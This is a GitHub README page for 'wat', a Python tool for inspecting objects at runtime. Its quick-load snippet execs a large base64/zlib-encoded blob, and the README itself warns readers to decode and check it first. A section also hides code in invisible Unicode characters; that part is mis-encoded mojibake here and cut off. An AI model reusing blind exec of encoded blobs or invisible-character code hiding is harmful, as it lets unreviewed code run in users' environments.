Skip to content

igrek51/wat

Folders and files

NameName
Last commit message
Last commit date

Latest commit

ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 

Repository files navigation

๐Ÿ™€ WAT

Deep inspection of Python objects.

WAT is a powerful inspection tool designed to help you explore unknown objects and examine them at runtime.

"Wat" is a variant of the English word "what" that is often used to express confusion or disgust

If you ever find yourself in a Python console, feeling lost and confused, and wondering "WAT? What is this thing?", that's where wat inspector comes in handy.

Launch the Python Interpreter and execute wat / object on any object to investigate its type, formatted value, variables, methods, parent types, signature, documentation, and its source code. This makes it particularly useful for debugging or understanding intricate data structures in Python, providing a straightforward way to answer "what" exactly an object represents.

wat-demo.mp4

Alternatively, use wat(object) syntax for the same in-depth inspection.

Loading

Insta-Load

If you want to quickly debug something, you can use this inspector without installing anything, in the same session.

Load it on the fly by pasting this snippet to your Python interpreter:

import base64, zlib
code = b'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'
exec(zlib.decompress(base64.b64decode(code)).decode(), globals())

Now you can use wat object.

Warning

Before executing Insta-Load snippet, it's recommended to verify what you're about to run. You can either:

  • Verify what's inside the extracted code beforehand:
    print(zlib.decompress(base64.b64decode(code)).decode())
  • Paste the content of inspection.py into your interpreter. It has the same effect.
  • Install package with pip and review the code.

Install with pip

Alternatively, install wat package and import inspection tool from wat module:

pip install wat
import wat

This package has no external dependencies.

Fun Fact: Load from Unicode Glyph

You can load WAT from a single Unicode glyph.

import zlib
glyph = '๐Ÿ™€๓ …ธ๓ †œ๓ ‡•๓ …œ๓ ‡ซ๓ …ฎ๓ ‡›๓ …†๓ „–โทพ๓ †Ÿ๓ †ง๓ „ ๓ †ผ๓ „ฟ๓ …ˆ๓ †ฆ๓ †ช๓ „ถ๓ …ฉโทท๓ „‚๓ †ธ๓ …ฅ๓ …ถ๓ †๓ ‡„๓ ‡๓ „๓ ‡–๓ †๓ „‹๓ ‡›๓ …ญ๓ …‘๓ ‡˜๓ „†๓ …๓ †‹๓ „ฃ๓ †›๓ „ต๓ ……๓ …ช๓ …‰๓ „ช๓ †Ž๓ …–๓ „๓ ‡๓ †‡๓ ‡˜๓ …ง๓ ‡จ๓ †ƒโทต๓ …‰โทถ๓ …œ๓ ‡ฆ๓ …Ž๓ …’๓ …–๓ †š๓ „‚๓ †ป๓ „›๓ ‡€๓ „’๓ „น๓ „ณ๓ ‡ง๓ †›๓ „ณ๓ …ง๓ ‡Ž๓ †œ๓ ‡‹๓ ‡Œ๓ „จโทณ๓ †ฆ๓ …ž๓ „„๓ …น๓ ‡–๓ …ฅ๓ †ณ๓ „ฒ๓ …ซ๓ …›๓ ‡‘๓ „†๓ ‡…๓ …ข๓ …™๓ „ท๓ †๓ „ฉ๓ …บ๓ „ข๓ „‹๓ †Š๓ †ช๓ …๓ †Š๓ …™๓ †ง๓ …ž๓ …ซ๓ …๓ ‡‘๓ „ˆโทต๓ ‡”๓ †ฎ๓ ‡›๓ „ง๓ …ณ๓ ‡„๓ ‡ซ๓ ‡–๓ ‡‹๓ †ข๓ †บ๓ …•๓ …๓ …‡๓ ‡•๓ …บ๓ „’๓ †œ๓ „ฎ๓ †ป๓ †ข๓ †ฎ๓ †ฒ๓ …ฒ๓ „’๓ …œ๓ †ฌ๓ †—๓ ‡ข๓ ‡‰๓ …Ÿ๓ „๓ „พ๓ …ฝ๓ „†๓ …ฏ๓ „˜โทพ๓ …•๓ …๓ ‡๓ †‹๓ ‡›๓ ‡ƒ๓ „ง๓ „โทผ๓ …ซ๓ ‡ฏ๓ †€โทบ๓ „ฐ๓ †ธ๓ †ฉ๓ ‡ซ๓ †’๓ ‡žโทณ๓ …•๓ †•๓ †‹๓ ‡†๓ „ช๓ †จ๓ ‡ช๓ †ผ๓ †ž๓ †ต๓ …–๓ …๓ …™๓ …—๓ †ท๓ ‡–๓ ‡ซ๓ †ฌ๓ ‡Ž๓ †…โทฝ๓ †š๓ †•๓ †ฅ๓ …ƒ๓ †ฟ๓ …ฌ๓ †Š๓ …ท๓ …™๓ †ง๓ †š๓ †Œ๓ †ฑ๓ …ด๓ ‡”๓ …ต๓ …๓ …ฑ๓ †ณ๓ †‚๓ …ถ๓ ‡œ๓ …ฉ๓ †ถ๓ „€๓ †Š๓ †ถ๓ …ซ๓ ‡จ๓ ‡ญ๓ …๓ …–๓ †ฎ๓ ‡ ๓ „•๓ ††๓ …ˆ๓ †ฏ๓ „ฐ๓ …ฐ๓ …ธ๓ †ฃ๓ „‘๓ †ช๓ „ž๓ †ณ๓ †›๓ …’๓ ‡ฌ๓ „š๓ †„๓ ‡‹๓ „„๓ †๓ †ป๓ †ธ๓ †ญ๓ †ฒ๓ …ฎ๓ ‡•๓ …€๓ †™๓ †’๓ ‡š๓ „ฅโทด๓ …ท๓ ‡โทดโทต๓ ‡Œ๓ „ฏ๓ ‡Ž๓ ‡…๓ …œ๓ ‡๓ …Ž๓ „บ๓ †ฏ๓ †›๓ ……๓ ‡–๓ ……โทต๓ ‡๓ †๓ †“๓ ‡ ๓ ‡ฉ๓ †„๓ ……๓ †˜๓ …ผ๓ †•๓ †•๓ †ญ๓ †˜๓ ‡ˆ๓ †ฎ๓ ‡•๓ „›๓ „‹๓ …๓ †ฝ๓ †ก๓ ‡ค๓ ‡”๓ „ณ๓ †Š๓ …๓ „ฟ๓ †“๓ ‡Œ๓ ‡”๓ ‡›๓ …ฒ๓ …ต๓ …“๓ „–๓ „ณโทต๓ „†๓ …•โทผ๓ „˜๓ „Ÿ๓ …Š๓ …ฑ๓ ‡ฃ๓ ‡œ๓ „ฅ๓ ‡Ž๓ …Œ๓ …†๓ ‡Œ๓ „๓ …ฝ๓ …ช๓ „Žโทธ๓ „ซ๓ †จ๓ „›๓ †„๓ ‡๓ †œโทฐ๓ †—๓ …ค๓ „…๓ „ฟ๓ …ด๓ „ƒ๓ …ข๓ „ˆ๓ „ฟ๓ …Œ๓ „‰๓ †ณ๓ ‡…๓ …Ÿ๓ †บ๓ …”๓ †Š๓ „’๓ †๓ „บ๓ ‡‰๓ …ช๓ …Œ๓ †Œ๓ ‡•๓ †ซ๓ …ฎ๓ †น๓ ‡ช๓ †’๓ †ฒ๓ …จ๓ †ป๓ „จ๓ …๓ „—๓ †ข๓ ‡Œ๓ …“๓ „ฅ๓ †ฏ๓ †ฒ๓ †จ๓ …„๓ ‡‹๓ ‡ข๓ …ขโทถ๓ …ฃ๓ „ฆ๓ „ฉ๓ ‡ฆ๓ †จ๓ ‡๓ ‡“๓ †ถ๓ ‡‹๓ †๓ …ธ๓ …š๓ †ด๓ …™๓ ‡—๓ †ญ๓ „ฃ๓ „น๓ …Ž๓ †š๓ …จ๓ ‡‘๓ „ฌ๓ „Š๓ †˜๓ †โทด๓ †ก๓ ‡ˆ๓ †ป๓ †ป๓ †ค๓ …ฎ๓ †ง๓ †ท๓ †ข๓ …‹๓ …ต๓ …ฉ๓ …›โทผ๓ …‹๓ …„โทฑ๓ …ด๓ …–๓ †—๓ †ซ๓ ……๓ ‡•๓ …ช๓ „ช๓ …ฆ๓ …ค๓ „Š๓ †๓ †‹๓ †ฆ๓ †‹๓ †ž๓ ‡โทผ๓ …ด๓ ‡ซ๓ …’๓ …Œ๓ …Ÿ๓ „ž๓ †๓ „…๓ †Ÿ๓ „„๓ ‡ก๓ „ฏ๏ปฟโทพ๓ „ฉ๓ „Œ๓ †ž๓ …บ๓ ‡๓ …๓ …ฑ๓ …ถ๓ …ผ๓ …พ๓ …ผ๓ „‘โทป๓ „ ๓ ‡™๓ …ฒ๓ „ฉ๓ †ช๓ „ผโทบ๓ …๓ †„๓ …†๓ †€๓ …ฆ๓ …•๓ …๓ …ธ๓ …•๓ †…๓ ‡“๓ „Ÿ๓ ‡ซ๓ †ข๓ †Š๓ „˜๓ „ฎ๓ „ฆ๓ „ญ๓ …บ๓ …”๓ „ธ๓ †‡๓ …Š๓ „ธโทผ๓ „พ๓ †•๓ …‹๓ …Šโทณ๓ …†โทด๓ „๓ ‡™๓ †€โทด๓ …–๓ …”๓ †ข๓ †๓ ‡ฉ๓ …ˆ๓ †น๓ „‘๓ † ๓ ‡Ž๓ ‡ซ๓ †ˆ๓ †™๓ „€๓ †ต๓ …๓ …ฉ๓ ‡ฅ๓ „ค๓ …’๓ …กโทน๓ †๓ †ป๓ †ขโทน๓ †ฟ๓ …จ๓ …–๓ …‚๓ „ฑ๓ †ผ๓ …”๓ †โทฑ๓ „‘๓ ‡›๓ ‡จ๓ „ฉ๓ „ฒ๓ …ต๓ …๓ †’๓ „ ๓ „ช๓ ‡•๓ †ข๓ „พ๓ †ธ๓ „ต๓ „ฉ๓ …”๓ „•๓ ‡‹๓ „”๓ †ฆ๓ †ฃ๓ …ฎ๓ „ข๓ ‡๓ …น๓ ‡œ๓ ‡ฃ๓ „ป๓ ‡œ๓ †ฐ๓ „ธ๓ „ฏ๓ ‡Ž๓ †Ž๓ ‡ž๓ …œ๓ …ฌ๓ …น๓ …ญ๓ …ฏ๓ …ˆ๓ …ธ๓ ‡›๓ … ๓ †ฃ๓ ‡ฉ๓ †ถ๓ „ก๓ ‡‘๓ „‰๓ ‡โทผ๓ …‡๓ „๓ †€๓ …ค๓ †œ๓ …พ๓ †”๓ „Š๓ …น๓ †ท๓ ‡‰๓ †ฐ๓ ‡ฆ๓ ‡ฏ๓ ‡‡๓ …‡๓ †ฏ๓ †ท๓ „›๓ „ณ๓ †ช๓ †ญ๓ †ฌ๓ „๓ †ต๓ „ผ๓ ‡‘โทด๓ …จ๓ …ฑ๓ ‡ข๓ …‹๓ …„๓ „Ÿ๓ „จ๓ „๓ †–๓ ‡—๓ … ๓ …Ÿ๓ …ค๓ †ฐ๓ „œ๓ „–๓ †ฑ๓ …„๓ ‡‚๓ „ฎ๓ †ณ๓ …†๓ …”๓ …๓ †›๓ †„๓ †“๓ …€๓ „ช๓ …‹๓ †Š๓ …š๓ ‡Ž๓ ‡…๓ ‡”๓ †ฐ๓ †ต๓ „บ๓ ‡‘๓ †ณ๓ „ข๓ ‡‰๓ „ž๓ †‘๓ †๓ …ช๓ †ฅ๓ „ป๓ †—๓ „…๓ †ฒ๓ …ฏ๓ ‡”๓ „ฑ๓ …ฉ๓ „ฝ๓ „ฃ๓ ‡จ๓ „”๓ ‡–๓ …Ÿ๓ ‡ƒ๓ ‡ช๓ „‘๓ †ฆ๓ …ฉ๓ „ฉ๓ †ช๓ „ด๓ „…๓ †ฆ๓ ‡ž๓ ‡–๓ †•๓ †ˆ๓ ‡ญ๓ ……๓ ‡™๓ †ฌ๓ ‡๓ ‡‹๓ …จ๓ ‡‡๓ …€๓ …ญ๓ „บ๓ …ตโทต๓ „๓ †ช๓ …ธ๓ „ฌ๓ ‡–๓ „”๓ †‰โทท๓ „ณ๓ †ฑ๓ ‡ฌ๓ ‡ˆ๓ †ฆ๓ „Ÿ๓ „ท๓ …๓ ‡๓ †ธ๓ „ฝ๓ „ฌ๓ ‡‘๓ …โทธโทผ๓ „ข๓ †„๓ …ฉ๓ ††๓ „Ž๓ „ฃโทฑ๓ †‡๓ †€๓ †…๓ „ด๓ ††โทฐ๓ †—๓ †Ÿ๓ …พ๓ „Ž๓ ‡๓ ‡ข๓ ‡–๓ †ถ๓ „ฟ๓ „ก๓ …‘๓ „ซ๓ ‡ˆ๓ …”๓ †—๓ …‡๓ …ˆ๓ „น๓ „‰โทด๓ „ช๓ „˜๓ ‡—๓ „ฝ๓ ‡ญ๓ ……๓ ‡Œโทด๓ †ช๓ „ข๓ „น๓ „ผ๓ †ฐ๓ †ท๓ ‡œ๓ „๓ „ผ๓ „Œ๓ †ฎ๓ „ฝ๓ „˜๓ „”๓ …”๓ „…๓ …™๓ †•๓ „‡๓ „‘๓ „š๓ …•๓ †น๓ ‡ช๓ ‡™๓ …’๓ ‡‡๓ …”๓ „พ๓ „ฒ๓ …จ๓ †ฆ๓ „„๓ „ƒ๓ †ธ๓ †ช๓ †บ๓ „ˆ๓ †๓ …๓ †Œ๓ ‡ซโทฐ๓ ‡™๓ ‡Ž๓ ‡ฉ๓ …น๓ …ฝโทบ๓ ‡ช๓ …ผ๓ …ป๓ …ฐ๓ …ฐ๓ †ฐ๓ „๓ …Šโทบ๓ †ถ๓ …•๓ †ผ๓ †ฟ๓ ‡ข๓ „ฌ๓ „„๓ †ด๓ „ท๓ †—๓ „ฝ๓ „œ๓ †๓ „ฎ๓ „ ๓ …๓ † ๓ „ƒ๓ „‹๓ ‡ฌ๓ ‡š๓ †ท๓ … ๓ ‡จ๓ …–๓ …จ๓ †€๓ ‡’๓ ‡ช๓ †๓ †ฑ๓ „งโทท๓ †ฏ๓ …๓ †‰๓ „ณ๓ …‚๓ …ซ๓ †ˆ๓ …ญ๓ †ฝ๓ …ช๓ …ฆ๓ …ฒ๓ †žโทธ๓ „น๓ ……๓ †ฐ๓ ‡ˆ๓ †™๓ „šโทด๓ „ฃ๓ …”๓ †ท๓ †‡๓ …ข๓ …ฒ๓ …ƒ๓ †Ž๓ …š๓ „ค๓ †ป๓ …—๓ ‡•๓ ††๓ …‹๓ ‡๓ †ช๓ †ฐ๓ ‡ฆ๓ †๓ „ƒ๓ „ค๓ „๓ †œ๓ †ฉ๓ …€๓ †ฅ๓ …๓ …š๓ †จ๓ „๓ …น๓ †”๓ „–๓ ‡ ๓ „Š๓ …’๓ …“๓ ‡ฎ๓ ‡˜โทฒ๓ …‰๓ …ฐ๓ „ฏ๓ ‡–๓ …‰๓ †™๓ „ญ๓ …ฎโทฒ๓ †Œ๓ …จ๓ „๓ ‡ฉ๓ …ณ๓ †Š๓ „Š๓ ‡–๓ ‡“๓ „ญ๓ †ฒ๓ ‡จ๓ †ฐ๓ „พ๓ …ณ๓ †‰๓ ‡—๓ †ฆ๓ „ญ๓ ‡ˆ๓ „Š๓ †‚๓ †๓ „ถ๓ „ฒโทฐ๓ „š๓ †š๓ †๓ ‡‰๓ †ฎ๓ ‡Ž๓ †™๓ …ซ๓ …˜๓ …ผ๓ ‡ˆ๓ „„๓ …„๓ „ฏ๓ …๓ …ž๓ „ด๓ †ž๓ „Š๓ ‡‰๓ … ๓ „๓ ‡ช๓ ‡๓ „๓ …ง๓ …๓ ‡—๓ „พ๓ „”๓ ‡๓ …๓ „„๓ …ซ๓ „ง๓ …ค๓ ‡๓ ‡ƒ๓ „Š๓ … ๓ ‡ˆ๓ „ช๓ …ถ๓ †ด๓ †๓ …ฃ๓ „Œ๓ …Ÿ๓ …ต๓ †น๓ „ธ๓ …ถ๓ …ง๓ „ƒ๓ ‡ช๓ †บ๓ †ข๓ …š๓ „‰๓ …๓ †จ๓ „‚๓ †‰๓ …ž๓ ‡Ÿ๓ †ฒ๓ …ซ๓ …‚๓ †”๓ …๓ ‡ฃ๓ ‡–๓ †‡๓ †๓ †–๓ †ณโทฒ๓ „๓ „ฐโทถ๓ „ญ๓ ‡‹๓ ‡‹๓ †ฌ๓ „•๓ ‡‡โทด๓ „ˆ๓ ‡ข๓ „Œ๓ †ฒ๓ „ถ๓ „๓ …ƒ๓ „ฐ๓ ††๓ „น๓ …ญ๓ „”๓ „’๓ †ญ๓ †™๓ ‡ฌ๓ ‡Ž๓ „พ๓ ‡€๓ †ˆ๓ „€๓ „Ÿ๓ „“๓ „†๓ †Ž๓ …‘๓ …˜๓ †บ๓ „‰๓ „ญ๓ „ฑ๓ †ฒ๓ †ซ๓ …ฆ๓ „š๓ …ฌ๓ „ฃ๓ …๓ „ค๓ ‡’๓ …Œ๓ …ˆ๓ †‰๓ ‡ขโทณ๓ †ฃ๓ „ ๓ †ฌ๓ ……๓ …พ๓ …€๓ …๓ †ถ๓ „ฌ๓ „ฑ๓ †ผ๓ „ค๓ „’๓ †ž๓ …œ๓ „™๓ „น๓ „–๓ …ฆ๓ …ฑ๓ †ข๓ ‡—๓ … ๓ †ข๓ „ปโทฑ๓ †‚๓ …‰๓ „“โทผ๓ ‡‰๓ ‡ฏ๓ †‰๓ „ฅ๓ „…โทฝ๓ …„๓ „†๓ „ก๓ †๓ „ฟ๓ †ฉ๓ †ก๓ †๓ †š๓ …˜๓ †ž๓ „‰๓ …ง๓ …ฆ๓ …“๓ …‹๓ †บ๓ ‡’๓ …น๓ „˜๓ …Š๓ …ฅ๓ …ƒ๓ …Œ๓ †‰โทฑ๓ †ฟ๓ …ฒ๓ †บ๓ †ฃ๓ ‡ฏ๓ …ฐ๓ …Œ๓ ‡ค๓ …Š๓ „ฆ๓ ‡†๓ †ซ๓ ‡„๓ †ƒ๓ „๓ †€๓ †๓ … ๓ „ป๓ „๓ …‰๓ …ƒโทฑ๓ ‡ชโทดโทตโทฑ๓ „–๓ „ผ๓ ††๓ „ฌ๓ †Ž๓ †ต๓ …•๓ „˜๓ „ฒ๓ …ž๓ †‡๓ †–๓ „พ๓ †‹๓ …นโทฑ๓ „พ๓ „‰๓ „น๓ †ฏ๓ …‘๓ ‡ก๓ †‹๓ …‹๓ …–๓ „ท๓ „๓ „‰๓ …‚๓ ‡€๓ „ท๓ …Ÿ๓ …•๓ †ด๓ †ฐ๓ …‡๓ „ ๓ †ฒ๓ …ถ๓ …๓ ‡๓ „‚๓ †”๓ ‡ž๓ „ ๓ †Œ๓ …ƒ๓ †๓ ‡–๓ ‡“๓ …”๓ „ญ๓ …„๓ …ท๓ …—๓ ‡ง๓ „ƒ๓ „•๓ „ท๓ †ซ๓ †ข๓ ‡ฌ๓ „Š๓ …ƒ๓ …ฒ๓ †—๓ †ต๓ …ƒ๓ †พ๓ …ฒ๓ †€๓ „™๓ †›๓ „๓ ‡›๓ „ต๓ †จโทบ๓ ‡๓ „Ž๓ …น๓ †ต๓ †ตโทฝ๓ ‡‡โทฑ๓ „๓ ‡Ÿ๓ †Ÿ๓ †ž๓ …๓ „ธ๓ ‡…๓ ‡๓ †ถ๓ …Š๓ †ถ๓ …‡๓ „ง๓ „ง๓ …‡๓ „ฏ๓ …๓ †Ž๓ †ท๓ „›๓ ‡ฌ๓ …๓ „…๓ …˜๓ „›๓ „ณ๓ „๓ „ฆ๓ ‡ฆ๓ „ข๓ ‡ฅ๓ ‡ฉ๓ …๓ …พ๓ †ซ๓ ‡ญ๓ ‡š๓ „’๓ …๓ …†๓ …ฒ๓ …น๓ „ญ๓ †ป๓ „ง๓ †ซ๓ †น๓ †ฌ๓ ‡›๓ †ด๓ †ฎ๓ ‡Š๓ „ต๓ „˜๓ …Ž๓ †จ๓ ‡Ž๓ †บ๓ …š๓ …ฆ๓ …•๓ …ถ๓ †›โทป๓ „‡๓ †ฟ๓ „‰โทบ๓ …ข๓ …ญ๓ „ช๓ †ฑ๓ 